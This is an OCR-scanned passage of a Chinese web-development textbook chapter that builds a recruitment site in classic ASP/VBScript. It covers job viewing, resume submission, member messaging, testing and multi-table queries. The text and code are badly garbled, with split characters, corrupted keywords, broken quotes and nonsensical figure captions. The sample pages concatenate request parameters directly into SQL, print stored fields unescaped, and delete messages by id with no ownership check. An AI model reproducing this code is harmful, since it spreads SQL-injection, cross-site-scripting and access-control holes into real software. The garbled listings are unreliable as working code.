在 有 招聘 信息 的 网 页 上 需要 有 个 人 会 员 发 送 简历 的 链接 ， 个 人 会 员 单 击 这 个 链接 以 后 可 以 向 这 个 

招聘 信息 发 送 简历 。 如 果 用 户 没有 登录 ， 则 显示 登录 的 链接 。 下 面 是 查看 招聘 信息 的 网 页 代码 。 


<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 

<!--##include file="conn.asp"--> 

<%Set rs =Server.CreateObject("Adodb.RecordSet") 
sql="select*from com _info where comid =" & request("comid") 
rs.open sql,conn,1,1 需要 分 别 查 询 企 业 信息 与 招聘 信息 
Set rs1 =Server.CreateObject("Adodb.RecordSet") 
Sql = "select * from jobs where id = " & request("id") 
rs1.open sql,conn,1,1 

%> 

<html><head> 

<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 

<title> 企 业 招 聘 <%= rs("comname") %></title> 

<link href="css.css" rel="stylesheet" type="text/css"></head> 

<body><table width="778" border="1" align="center cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> 
<tr> <td height="23" colspan="4"><div align="center" class="title"> 企 业 信 息 </div></td> </tr> 
<tr> <td width="104"> 企 业 名 称 </td> <td width="279"><%=[rs("comname") %>&nbsp;</td> 

<td width="321"> 成 立 日 期 </td> <td width="64"><%=rs("foundtime") %></td> </tr> 

<tr><td> 公 司 地 址 </td><td><%=rs("address") %></td><td> 现 在 职员 </td><td><%=rs("member") %></td> </tr> 
<tr> ”<td> 电 话 </td> <td><%=rs("tel") %></td><td> 公 司 类 型 </td><td><%=rs("comcate”) %></td> </tr> 
<tr> <td> 所 属 行业 </td><td><%=rs("comcate") %></td><td>&nbsp;</td><td>&nbsp;</td> </tr> 
<tr> ”<td height="88"> 公 司 简介 </td> <td colspan="3"><%=rs("info") %></td> </tr> 

</table><br> 

<table width="778" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> 
<tr> <td height="23" colspan="4"><div align="center" class="title"> 招 聘 信息 </div></td> </tr> 
<tr> ”<td width="104"> 招 聘 名 称 </td> <td width="279"><%=rs1("jobname") %>&nbsp;</td> 

<td width="321"> 招 聘 人 数 </td> <td width="64"><%=rs1("howmany") %></td> </tr> 

<tr><td> 有 效 期 </td> <td><%=rs1("totime") %></td><td> 所 属 学 科 </td> <td><%=rs("subject") %></td> </tr> 
<tr> <td> 工 作 类 型 </td> <td><%=rs1("works") %></td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> 
<tr> ”<td height="88"> 职 位 要 求 </td> <td colspan="3"><%=rs1(0info") %></td> </tr> 


</table><br> 
<table width="778" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> 
<tr> <td height="74” > <div align="center"> 

<% ifsession("userid")="then  %> <!- 根 据 登录 情况 生成 不 同 的 链接 --> 
<a href="login.asp"> 请 登录 以 后 发 送 简历 </a> 

<% else %> 
<a href="getjob.asp?id=<%= request("id") %>"> 我 要 发 送 简 历 </a> 

<%endif %> 

</div></td> </tr> 

</table> 

</body> 

</html> 
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如 图 20-7 所 示 为 这 个 网 页 的 运行 效果 。 会 员 可 以 查看 到 企业 信息 与 对 应 的 一 条 招聘 信息 。 如 果 会 
员 登 录 以 后 可 以 单 击发 送 简历 的 链接 ， 则 会 向 这 一 条 招聘 信息 发 送 简历 ， 若 会 员 没有 登录 ， 则 会 显示 


企业 信息 
宇 业 吉 称 飞 焉 网 络 威 立 日 期 2004-4 
公司 地 北京 老区 于 现在 职员 硬 
电话 23234234 公司 类 型 合资 企业 
所 展开 语 交 企业 
公司 简介 飞越 网 络 公司 简介 
招聘 信息 
招聘 名称 喜 隆 了 程 是 看 是 人 焉 
训 效 其 三 周 所 属 学 科 让 机 
I 本 发 天 现 
招聘 要 求 
Pk 有 两 年 JAA 工 作 经 验 


我 要 发 送 简历 


图 20-7 企业 招聘 信息 
会 员 单 击发 送 简历 链接 以 后 ， 需 要 有 一 个 网 页 保存 用 户 向 企业 发 送 的 简历 。 
在 实际 操作 中 ， 只 需要 保存 招聘 的 id 与 会 员 的 id 即 可 。 当 企业 查看 会 员 时 ， 会 生成 相关 的 会 员 简 
历 。 下 面 是 保存 用 户 简历 的 代码 。 
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 
<!--#include file="conn.asp"--> 
<%Set rs =Server.CreateObject("Adodb.RecordSet") 
Sql = "select * from job_user" 
rs.addnew ' 实 质 是 在 数据 库 中 记录 一 条 会 员 与 企业 的 信息 
rs("comid") = request("id") 
rs("userid") = session("userid") 
rs("addtime") = now() 
rs.update 
rs.close 
Response.Write(" 会 员 简 历 发 送 成 功 。") 
%> 


20.3.8 ”会员 简历 的 显示 


会 员 注册 并 填写 用 户 资料 以 后 ,就 可 以 生成 用 户 的 求职 简历 。 在 人 才 列 表 或 企业 查看 会 员 信 息 时 ， 
可 以 链接 到 用 户 简 历 上 面 。 
用 户 简历 的 实现 ， 就 是 在 数据 库 中 读 出 会 员 信息 ， 然 后 将 信息 列表 。 下 面 是 会 员 简历 的 代码 。 


<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 
<!--##include file="conn.asp"—> 


@ 
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<%Set rs =Server.CreateObject("Adodb.RecordSet") 查找 会 员 信息 
Sql = "select * fom users whereid =” & request("id") 
rs.open sql,conn,1,1 
Set rs1 =Server.CreateObject("Adodb.RecordSet") 
Sql = "select * from user_info where userid = " & request("id") 
rs1.open sql,conn,1,1 
%> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 会 员 简 历 </title> 
<link href="css.css" rel="stylesheet" type="text/css"> 
</head> 
<body> 
<table width="778" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> 
<tr> <td height="23" colspan="4"><div align="center" class="title"> 会 员 简历 </div></td> </tr> 
<tr> ”<td width="104"> 真 实 姓名 </td> 。 <td width="279"><%= rs1("username") %></td> 
<td width="107"> 毕 业 学 校 </td> <td width="278"><%= rs1("school") %></td> </tr> 
<tr> <td>QQ</td> <td><%= rs("qq") %>&nbsp;</td> 
<td>Email</td> <td><%= rs("email") %></td> </tr> 
<tr> <td> 所 学 专业 </td><td><%= rs1("lesson") %></td> 
<td> 毕 业 时 间 </td><td><%= rs1("biye") %></td> </tr> 
<tr><td> 外 语 能 力 </td><td><%= rs1("language") %></td><td> 计 算 机 </td> 
<td><%= rs1("computer") %></td> </tr> 
<tr> ”<td> 希 望 从 事 专 业 </td> 。 <td><%= rs1("subject") %></td> 
<td> 希 望 从 事 工作 </td> <td><%= rs1("works") %></td> </tr> 
<tr> ”<td height="60"> 工 作 经 历 </td> <td colspan="3"><%= rs1("history") %>&nbsp;</td> </tr> 
<tr> <td height="60"> 个 人 简介 </td> <td colspan="3"><%= rs1("info") %>&nbsp;</td> </tr> 
<tr> <td height="100"> 求 职 信 </td> <td colspan="3"><%= rs1("letter") %>&nbsp;</td> </tr> 
</table> 


斌 


</body> 
</html> 
如 图 20-8 所 示 为 会 员 简 历 网 页 的 运行 效果 。 
会 员 莘 历 
站 袜 EE 毕业 学 术 起 大学 
机 1 本 Iuil = 
所 学 专业 计算 机 软件 hE 2014-6 
外 滞 能 访 hs 计划 机 很 好 
着 望 从 事 专业 ”计算 机 党 望 从 事 作 国企 了 作 
重 在 Kx 网 络 公司 实 本 
万 曾 拓 过 划 职 程序 员 
网 二 人 要 好 读书 写作 
Mw 有 根 好 的 网 络 六 程 基 磺 
我 的 家 职 信 
PR 得 的 公司 领导 


图 20-8 会 员 简历 网 页 
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20.3.9 ”企业 会 员 查看 应 聘 信息 


企业 登录 以 后 ， 需 要 查看 向 自己 企业 发 送 简历 的 个 人 会 员 列 表 。 在 简历 列表 中 ， 会 列 出 企业 所 有 


的 招聘 信息 与 这 一 条 招聘 信息 下 面 的 求职 简历 。 求 职 简历 就 是 一 个 指向 会 员 简历 的 链接 ， 企 业 用 户 单 
击 这 个 链接 后 ， 可 以 打开 并 查看 会 员 的 个 人 简历 。 


<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 
<!--##include file="conn.asp"—> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 企 业 查看 求职 信息 </title> 
<link href="css.css" rel="stylesheet" type="text/css"> 
</head> 
<body> 
<div align="center" class="title"> 
企业 查看 求职 信息 <br></div><br> 
<% Set rs =Server.CreateObject("Adodb.RecordSet") "定义 查询 指针 
Sql = "select * from jobs" 
rs.open sql,conn,1,1 
while not rs.eof 
%> 
<div align="center"> 
招聘 职位 : <%= rs("jobname") %> </div> 
<table width="236" height="57" border="1" align="center cellpadding="0" 
cellspacing="0" bordercolor="#CCCCCC"> 
<tr> ”<td width="68"> 姓 名 </td> ”<td width="116"> 提 交 时 间 </td> </tr> 
<% Set rs1 =Server.CreateObject("Adodb.RecordSet") “定义 查询 指针 
Sql = "select user_info.username as uname , job_user.addtime as atime, job_user.userid as uid from 
job_user , user_info where user_info.userid = job_user.userid and job_user.comid = " & rs("id") 
rs1.open sql,conn,1,1 
whilenotrsi.eof %> 
<tr> 
<td height="20"><a href="jianli.asp?id=<%= rs1("uid") %>" target="_blank"><%= rs1("uname") %></a> 
</td> 
<td> <%= rs1("atime") %></td> </tr> 
<% rsi.movenext 
wend 
Ts1.close %> 
</table> 
<% rs.movenext 
wend 
rs.close %> 
</body> 
</html> 


如 图 20-9 所 示 为 企业 查看 会 员 投递 简历 的 网 页 运行 效果 。 


@ 
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企业 查看 求职 信息 
招聘 职位 : 软件 工程 师 
外 名 提交 时 间 
Ex 2014-6-23 
二 2014-6-23 
小 季 2014-6-23 
招聘 职位 : 程序 员 
旺 吉 扣 均 时间 
eze) 2014-6-23 
+ 2014-6-23 
be] 2014-6-23 
浙 2014-6-23 
招聘 职位 : 畏 震 人 呐 
攻 名 机 区 时 间 
下 2014-6-23 
小 白 2014-6-23 


be 2014-6-23 


图 20-9 企业 查看 会 员 提交 的 简历 
20.3.10 ”网 站 中 不 同类 别 会 员 发 送信 息 的 实现 


在 招聘 求职 网 站 中 ， 会 员 与 会 员 之 间 常 需要 在 线 发 送信 息 ， 以 实现 用 户 与 用 户 之 间 的 交流 。 这 就 
是 会 员 之 间 的 发 送信 息 功能 。 
会 员 登 录 自 己 的 账户 以 后 ， 可 以 查看 自己 的 信息 列表 。 点 击 列表 中 的 信息 以 后 ， 可 以 查看 信息 、 
回复 信息 或 是 删除 信息 。 这 个 功能 如 同 多 用 户 留言 板 。 
会 员 发 送信 息 的 实现 方式 ， 是 将 一 条 记录 记录 在 数据 库 中 ， 这 一 条 记录 用 会 员 的 id 号 进行 标识 。 
会 员 登录 以 后 ， 根 据 这 个 标识 查找 列表 中 的 信息 数据 。 下 面 是 会 员 发 送信 息 的 代码 。 
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 
<!--#include file="conn.asp"--> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 会 员 发 送信 息 </title> 
<link href="css.css" rel="stylesheet" type="text/css"> "链接 一 个 样式 表 
</head> 
<body> 
<form name="form1" method="post" action="msg_save.asp"> 
<table width="515" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> 
<tr> <td colspan="2"><div align="center"> 企 业 发 布 招聘 信息 </div></td> </tr> 
<tr> <td> 收 信人 </td> <td> 
<% if request("id")="" then %> 
<input name="sendto" type="text" id="sendto"> 
<% else 
Set rs =Server.CreateObject("Adodb.RecordSet") 
sql = "select * from users where id = ” & request("id") 
rs.open sql,conn,1,1 
if not rs.eof then 
Response.Write(rs("username")) %> 
<input name="sendto" type="hidden" id="sendto" value="<%=rs("usermname”") %>"> 
<% end if 
end if %> 
</td> </tr> 


路 
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<tr><td width="55"> 标 题 </td><td width="454"><input name="title" type="text" id="title"></td> </tr> 
<tr><td> 内 容 </td><td><textarea name="content" cols="60" rows="10" id="content"></textarea></td></tr> 
<tr><td colspan="2"><div align="center><input type="submit”name="Submit”value=" 提交 "></div> 
</td></tr> 
</table> 
</form> 
</body> 
</html> 


这 个 网 页 的 运行 效果 如 图 20-10 所 示 。 


全 业 发 布 招聘 信息 
收 信和 人 上 | 小 王 
标题 应 聘 通 知 


[你 好 ”应聘 通知 请 于 9 月 10 日 到 我 公司 洽谈 。 


内 容 


图 20-10 会 员 发 送信 息 

因为 这 个 网 页 可 能 被 作为 一 个 链接 用 来 回复 信息 ， 所 以 收 信人 一 栏 用 一 个 判断 实现 自动 填写 。 当 
没有 传 入 用 户 id 时， 显示 收 信人 文本 框 。 传 入 收 件 人 id 时 ， 则 在 数据 库 中 查 出 这 一 用 户 名 并 显示 ， 用 
一 个 隐藏 域 来 传递 用 户 名 的 值 。 

用 户 单 击 “ 提 交 ” 按 钮 以 后 ， 将 会 有 一 个 程序 来 保存 用 户 的 留言 。 在 保存 留言 之 前 ， 需 要 在 数据 
库 中 查找 到 这 一 用 户 名 的 id 号 ， 然 后 将 这 一 留言 与 用 户 id 保存 到 数据 库 中 。 下 面 是 保存 留言 的 代码 。 

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 

<!--#nclude file="conn.asp"--> 

<%Set rs =Server.CreateObject("Adodb.RecordSet") 


Sql = "select * from users Where Username = " & request("sendto")& ™" 
rs.open sql,conn,1,1 


if not rs.eof then "如 果 有 这 一 用 户 则 保存 一 条 信息 
Set rs1 =Server.CreateObject("Adodb.RecordSet") "创建 另 个 一 个 查询 指针 
sql = "select* fom msg " "构造 SQL 语句 
rs1.open sql,conn,1,3 
rs1.addnew "添加 一 条 新 记录 


rs1("from") = session("userid") 

rs1("to") = rs("id") 

rs1("title") = request("title") 

rs1("content") = request("content") 

rs1("addtime") = now() 

rs1.update 

Ts1.close 

Response.Write(" 你 好 ， 你 的 留言 已 经 发 送 。") 
Else ' 没 有 这 一 用 户 则 提示 错误 

Response.Write(" 对 不 起 ， 没 有 这 一 个 用 户 .") 
endif %> 


他- 
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在 一 个 网 页 实现 了 用 户 发 送 留言 的 保存 。 当 用 户 登录 以 后 ， 需 要 查看 自己 的 留言 列表 。 留 言 的 列 
表 就 是 根据 自己 登录 的 用 户 id， 在 数据 库 中 查找 发 给 自己 的 信息 记录 ， 然 后 列表 。 在 列表 中 需要 做 出 
管理 功能 ， 列 出 会 员 名 称 ， 如 果 是 个 人 会 员 ， 则 可 以 链接 到 个 人 会 员 的 个 人 简历 ; 如 果 是 企业 会 员 ， 
则 可 以 链接 到 企业 介绍 的 网 页 。 下 面 是 会 员 信息 列表 的 代码 。 


<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 
<!--#include file="conn.asp"--> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 会 员 信息 列表 </title> 
<link href="css.css" rel="stylesheet" type="text/css"> 
</head> 
<body> 
<div align="center"><span class="title"> 会 员 收 到 信息 列表 </span> </div> 
<%if request("action") = "del" then ' 删 除 留言 的 功能 

Set rs =Server.CreateObject("Adodb.RecordSet") 

sql="select*from msgwhereid = "& request("id") 

rs.open sql,conn,1,3 

rs.delete 

rs.close 

Response.Write(" 留 言 删 除 成 功 ") 
endif %> 
<table width="467" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> 

<tr><td width="160"> 标 题 </td> ”<td width="92"> 发 送 时 间 ”</td> 
<td width="87"> 发 件 人 </td><td width="118"><div align="center"> 管 理 </div></td> </tr> 

<% Set rs =Server.CreateObject("Adodb.RecordSet") 

sql="select*from msg whereto=1" 

rs.open sql,conn,1,1 

while not rs.eof %> 

<tr> <td><%= rs("title") %></td><td><%= rs("addtime") %></td> 
<td> <% Set rs1 =Server.CreateObject("Adodb.RecordSet") 
sql="select*from users whereid=" &rs("from") 
rs1.open sql,conn,1,1 


if not rs1.eof then 
if rs1("usertype") = 1 then ' 根 据 不 同 的 用 户 类 型 生成 不 同 的 链接 
Response.Write("<a href=jianli.asp?id=" & rs1("id") & "target=_blank>”& rs1 
(username") & "</a>") 
else 


Response.Write("<a href=com_infp.asp?id=”& rs1("id") & " target= blank>"” & 
rsi("username") & "</a>") 
endif 
endif 
rsi.close %> 
</td> 
<td><div align="center"><a href="msg_see.asp?id=<%= rs("id") %>”target="_blank"> 查 看 </a> 
&nbsp;&nbsp;<a href="?action=del&id=<%= rs("id") %>" target="_blank"> 删 除 </a></div></td> </tr> 
<% rs.movenext 
wend 
rs.close 
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%> 
</table> 


</body> 

</html> 

在 这 个 网 页 中 用 一 个 参数 的 判断 实现 了 留言 的 删除 功能 。 用 户 单 击 “ 删 除 ” 链 接 以 后 ， 会 在 网 页 
上 删除 相对 应 的 一 条 留言 。 如 图 20-11 所 示 为 用 户 留 言 的 列表 与 管理 。 


会 员 收 到 信息 列表 
破题 政 送 时 间 。”” 竣 御 大 EE 
你 好 ”应 隐 通 知 a 查看 出 除 
工作 阁 交 eee PT ee 查看 。 划 除 
他 ”应聘 通知 -二 到 查看 -出 除 
公司 的 情况 Peo i 查看 出 除 


图 20-11 用 户 留言 列表 


用 户 单 击 “ 查 看 ”链接 时 ， 会 打开 留言 查看 网 页 。 留 言 查看 网 页 的 实质 是 根据 留言 的 id 号 查询 并 
显示 出 这 条 留言 的 内 容 。 下 面 是 留言 显示 网 页 的 代码 。 


<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 
<!--##nclude file="conn.asp"--> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 留 言 查 看 </title> 
<link href="css.css" rel="stylesheet" type="text/css"> 
</head> 
<body> 
<div align="center"><span class="title"> 留 言 查看 </span></div> 
<% Set rs =Server.CreateObject("Adodb.RecordSet") 
sql="select*from msgwhereid = "& request("id") 
rs.open sql,conn,1,1 %> 
<table width="379" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> 
<tr><td width="84" height="20"> 留 言 时 间 </td><td width="289" height="20"><%= rs("addtime") %></td></tr> 
<tr><td height="20"> 留 言 标题 </td><td height="20"><%= rs("title") %></td></tr> 
<tr><td height="50"> 留 言 内 容 </td><td height="20"><%= rs("content") %></td></tr> 


</table> 
</body> 
</html> 
如 图 20-12 所 示 ， 单 击 留言 的 “查看 ”链接 后 可 以 显示 留言 的 内 容 。 


留言 查看 
留言 时 间 204 -6-22 下 午 06:36:13 
留言 标题 你 好 应聘 通知 


留言 内 容 你 好 ”应聘 通知 请 于 9 月 10 日 到 我 公司 治 谈 。 


20-12 查看 留言 
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20.4 本 地 测试 及 上 传 发 布 


网 站 完成 设计 以 后 ， 需 要 在 本 地 进行 网 站 测试 。 完 成 本 地 测试 、 修 改 网 站 的 程序 错误 、 对 网 站 的 
内 容 与 程序 再 次 完善 以 后 ， 需 要 把 网 站 上 传 到 服务 器 运行 。 


20.4.1 网 站 的 本 地 测试 


网 站 的 本 地 测试 包括 数据 测试 与 网 站 内 容 完 善 两 个 方面 ， 分 别 完成 网 站 程序 与 网 站 内 容 方面 的 不 
同 测试 。 这 是 网 站 设计 不 可 缺少 的 一 部 分 。 

1. 网 站 数据 测试 

网 站 在 进行 各 种 程序 设计 时 ， 并 没有 完全 针对 用 户 的 情况 输入 数据 进行 测试 。 这 样 的 程序 在 设计 
时 可 以 运行 ， 但 在 用 户 使 用 时 ， 可 能 因为 不 正确 的 数据 输入 ， 或 者 程序 设计 时 没有 考虑 到 的 数据 输入 
情况 产生 错误 。 这 就 需要 在 网 站 完成 以 后 ， 针 对 用 户 可 能 的 数据 输入 情况 ， 输 入 各 种 数据 进行 测试 。 
这 些 数据 测试 可 以 用 以 下 内 容 进行 : 

回 “需要 输入 数据 而 不 输入 数据 时 进行 测试 。 

回 用 户 注册 时 ， 故 意 输 入 重 名 用 户 进行 测试 。 

回 ”在 需要 输入 数字 而 输入 文本 的 数据 时 测试 。 

回 ”输入 可 能 超过 长 度 的 数据 测试 。 

回 下 拉 菜 单 未 选择 时 的 数据 测试 。 

在 进行 这 些 数据 输入 测试 时 ， 如 果 发 生 程序 错误 情况 ， 需 要 分 析 产 生 错 误 的 原因 ， 修 改 程序 中 的 
错误 。 

2. 网 站 内 容 的 完善 

在 网 站 设计 时 ， 常 常 是 分 别 完成 不 同 的 网 页 、 分 别 完成 不 同 的 功能 ， 这 样 就 不 可 能 完全 考虑 到 整 
个 项 目 中 所 有 的 问题 。 

在 网 站 完成 以 后 ， 需 要 对 网 站 的 内 容 、 功 能 、 美 工 等 设计 进行 一 次 评价 。 分 析 各 个 模块 的 功能 ， 
对 未 完成 或 完成 得 不 够 理想 的 内 容 进 行 再 次 完善 或 修改 。 


20.4.2 ”网 站 的 上 传 发 布 


完成 了 网 站 设计 与 调试 之 后 ， 需 要 把 网 站 发 布 到 服务 器 上 运行 供用 户 访问 。 

对 于 完成 以 后 的 网 站 ， 发 布 工作 就 是 将 网 站 的 所 有 文件 上 传 到 网 站 的 空间 中 。 可 以 使 用 
Dreamweaver CS6 自 带 的 FTP 功能 或 者 专用 的 FTP 软件 上 传 网 站 文件 。 前 面 章节 已 经 详细 讲解 过 这 些 
内 容 ， 此 处 不 再 缆 述 。 


@ 
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20.5 常见 问题 


在 招聘 求职 这 种 企业 级 的 应 用 网 站 中 ， 对 数据 库 查 询 、 用 户 界面 、 用 户 注册 与 管理 功能 的 设计 ， 
需要 有 一 定 的 工作 经 验 与 技巧 ， 需 要 学 习 同 行业 中 比较 成 熟 的 网 站 。 本 节 将 讲解 一 些 招聘 求职 网 站 中 


需要 注意 的 问题 。 


20.5.1 


程序 中 的 多 表 查 询问 题 
在 网 站 中 ， 数 据 是 通过 从 数据 库 中 查询 生成 的 ， 但 在 实际 操作 时 ， 在 一 个 表 中 查询 并 不 能 生成 所 


有 的 数据 。 在 进行 数据 查询 时 ， 在 没有 完成 数据 输出 与 数据 处 理 的 情况 下 ， 需 要 运用 这 个 查询 结果 进 
行 男 一 次 查询 ， 而 前 一 次 查询 并 不 能 关闭 。 这 就 是 程序 中 的 多 次 查询 或 多 表 查 询问 题 。 


例如 ， 在 数据 库 中 有 两 个 表 


分 别 存 放 新 闻 的 类 别 与 新 闻 。 其 中 ， 新 闻 表 中 的 类 别 字段 与 新 闻 类 


别 表 中 的 自动 编号 字段 具有 一 一 对 应 关系 。 两 个 表 的 字段 如 表 20-7 和 表 20-8 所 示 。 


字 段 名 
id 
cate nama 


content 


表 20-7 新 闻 分 类 表 news_cate 的 字段 


数据 类 型 字段 长 度 保存 数据 内 容 
自动 编号 | ~- | 自动 编号 
文本 类 别名 称 
表 20-8 新 闻 分 类 表 news 的 字段 

数据 类 型 保存 数据 内 容 
自动 编号 自动 编号 
int 类 别 编号 
文本 标题 
备注 新 闻 内 容 


如 果 要 显示 两 个 表 中 的 数据 ， 显 示 所 有 新 闻 列表 ， 并 且 要 显示 新 闻 的 分 类 名 称 时 可 以 采用 两 种 


方法 。 


一 种 方法 是 两 次 数据 查询 。 代 码 如 下 


<% 


set rs=server.CreateObject("adodb.recordset") 
sql = " select * from news order by id desc " 


rs.open sql.conn,1,1 
while not rs.eof 


"进行 第 一 次 数据 查询 
"进行 循环 输出 数据 


Set rs1=server.CreateObject("adodb.recordset") 
sql="selecttop1 *fromnews cate whereid= "& Irs("cate id") 


rs1.open sql.conn,1,1 
if not rs1.eof then 


"构造 SQL 语句 ， 进 行 另 一 次 数据 查询 
输出 新 闻 类 别名 称 


Response.Write(rs1("Cate_nama")) 


endif 
Ts1.close 
Response.Write(rs("title")) 


410 


输出 新 闻 标题 
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Response.Write(rs("<br>")) 
rs.movenext 
wend 
rs.close 
%> 
这 种 方法 是 通过 对 新 闻 的 查询 ， 在 每 条 数据 处 理 时 再 次 通过 查询 的 结果 构造 出 SQL 语句 。 然 后 再 
新 建 一 个 查询 指针 ， 进 行 另 一 次 数据 查询 。 最 后 输出 查询 结果 。 
这 种 方法 在 进行 第 二 次 数据 查询 时 ， 需 要 用 站 语句 判断 是 否 已 经 查 到 了 数据 。 如 果 没 有 查询 到 相 
关 记 录 而 进行 输出 ， 则 程序 会 出 现 错误 。 
另 一 种 方法 是 通过 SQL 语句 进行 多 表 连 接 查 询 。 代 码 如 下 : 
<% 
set rs=server.CreateObject("adodb.recordset") 
Sql = "select news_cate.cate_name as cate ,news.title as news_title from news_cate ,news where news.cate_id 
= News_cate.id order by news.id desc" 上 查询 的 字段 另外 命名 ， 一 次 多 表 查 询 
rs.open sql.conn,1,1 
while not rs.eof 
Response.Write(rs("cate")) 
Response.Write(rs("news_title")) 
Response.Write(rs("<br>")) 
rs.movenext 
wend 
rs.close 
%> 
在 这 种 查询 中 使 用 了 SQL 语言 中 的 多 表 连 接 查 询 。 在 数据 查询 时 ， 如 果 需 要 同时 查询 两 个 或 多 个 
表 ， 需 要 构造 多 表 查 询 语句 。 在 查询 的 结果 中 ， 使 用 while 循环 语句 输出 结果 。 


20.5.2 ”数据 库 中 多 表 间 数据 联系 时 的 实现 技巧 


在 20.5.1 节 中 ， 新 闻 类 别 表 中 的 类 别 与 新 闻 表 中 的 类 别 ， 是 通过 类 别 的 id 号 联系 起 来 的 。 这 就 是 
多 个 表 的 数据 联系 。 

在 数据 库 中 ， 不 同 表 之 间 的 数据 常常 有 着 一 定 的 逻辑 关系 ， 这 种 逻辑 关系 需要 通过 一 定 的 数据 联 
系 起 来 。 实 际 的 处 理 方式 是 在 一 个 表 中 使 用 自动 编号 ， 用 户 在 一 个 表 中 要 标识 这 个 数据 时 ， 记 录 下 这 
个 自动 编号 。 数 据 库 中 自动 编号 数据 类 型 在 一 列 中 是 唯一 的 ， 这 就 可 以 保证 所 记录 的 值 可 以 标识 唯一 
的 一 条 数据 记录 。 

在 使 用 这 些 有 逻辑 联系 的 数据 时 ， 可 以 采用 多 次 查询 或 者 多 表 连 接 查 询 的 办 法 实现 。 


20.5.3 网 站 中 会 员 面 板 的 实现 技巧 


网 站 中 的 会 员 功 能 ， 需 要 有 一 个 会 员 控制 面板 ， 这 个 会 员 控制 面板 需要 有 一 个 菜单 ， 这 个 菜单 是 
通过 一 个 包含 文件 实现 的 。 这 个 包含 文件 中 排列 有 用 户 所 有 功能 的 链接 ， 用 户 可 以 方便 地 单 击 这 些 链 
接 跳 转 到 所 需要 的 网 页 ， 在 这 些 网 页 中 ， 都 包含 了 这 个 菜单 文件 。 这 就 实现 了 控制 面板 菜单 的 功能 。 

在 实际 操作 中 ， 控 制 面 板 和 菜单 可 以 设计 得 很 精美 ， 友 好 的 界面 可 以 给 用 户 的 使 用 带 来 方便 。 如 
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图 20-13 所 示 为 某 招聘 网 站 的 个 人 会 员 的 面板 菜单 。 


个 人 地 职 管理 中 心 


路 帐户 各 理 


号 陆 宪 码 设 各 


20-13 某 招聘 网 站 的 个 人 会 员 菜 间 
20.6 小 结 


本 章 以 一 个 招聘 求职 网 站 的 设计 为 例 讲述 了 一 个 企业 动态 网 站 的 制作 与 相关 程序 的 设计 技巧 。 在 
实际 开发 中 ， 网 站 中 所 有 的 内 容 都 是 由 简单 的 程序 与 模块 构成 的 。 在 学 习 阶段 ， 需 要 理解 与 掌握 这 些 
功能 与 模块 的 制作 。 

本 章 以 简单 的 语言 与 技术 讲述 了 网 站 的 设计 知识 ， 通 过 这 些 知 识 可 以 完成 静态 网 站 、 一 般 企 业 级 
动态 网 站 的 设计 。 

网 站 的 开发 是 一 个 系统 的 知识 体系 ， 并 不 是 一 门 学 科 的 学 习 就 能 完成 的 ， 需 要 在 长 期 的 学 习 与 工 
作 中 积累 经 验 ， 在 学 习 与 实战 中 进步 与 提高 。 

ASP、PHP、JSP、.NET 等 技术 都 是 非常 优秀 的 网 站 设计 方案 。 在 学 习 完 本 书 的 基础 知识 与 ASP 
网 站 开发 以 后 ， 可 以 具备 一 定 的 基础 与 网 站 开发 能 力 。 在 长 期 练习 与 实战 的 基础 上 ， 可 以 再 学 习 其 他 
的 网 站 开发 技术 ， 以 不 同 的 知识 体系 完成 复杂 的 企业 网 络 解决 方案 的 工作 。 


